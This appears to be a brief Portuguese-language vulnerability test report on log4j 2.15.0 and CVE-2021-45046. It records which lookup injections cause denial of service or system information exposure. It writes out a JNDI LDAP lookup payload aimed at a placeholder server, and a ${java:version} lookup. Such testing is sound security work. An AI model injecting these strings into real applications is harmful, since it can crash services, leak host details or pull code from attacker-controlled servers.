cve-2021-45046

log4j RCE (CVE-2021-44228) foi corrigida na 2.15, mas a vulnerabilidade CVE-2021-45046 (causa DoS) foi descoberta. Abaixo estão os resultados dos testes.

[Ambiente de teste] log4j-2.15.0 (api , core) JRE-1.8.0 jdk1.8.0_151 Eclipse IDE (Maven Project)

1. Teste da sintaxe Log4j RCE (CVE-2021-44228) -> Not Vuln

2. Inserção de nome arbitrário de objeto ctx -> Not vuln

3. Ao inserir o mesmo nome do objeto que recebe o context -> ocorre DoS por loop infinito

4. Inserção na forma ${jndi:ldap://127.0.0.1#[endereço do servidor ldap]} -> ocorre UnknownHostException, sem DoS

5. Forma jndi:ldap://[servidor ldap]#[servidor ldap] -> Not vuln

6. Inserção de código Java -> ocorre DoS por illegalArgmumentException

7-1. Inserção de sintaxe Java -> System info exposure

7-2. Inserção de sintaxe Java ->illegalArgmumentException , ocorre DoS

-> Ao verificar o ponto onde ocorre a illegalArgumentException, por meio da declaração Switch case, a sintaxe Java que permite System info exposure em 2-5 (${java:version} parece ser uma rotina intencional.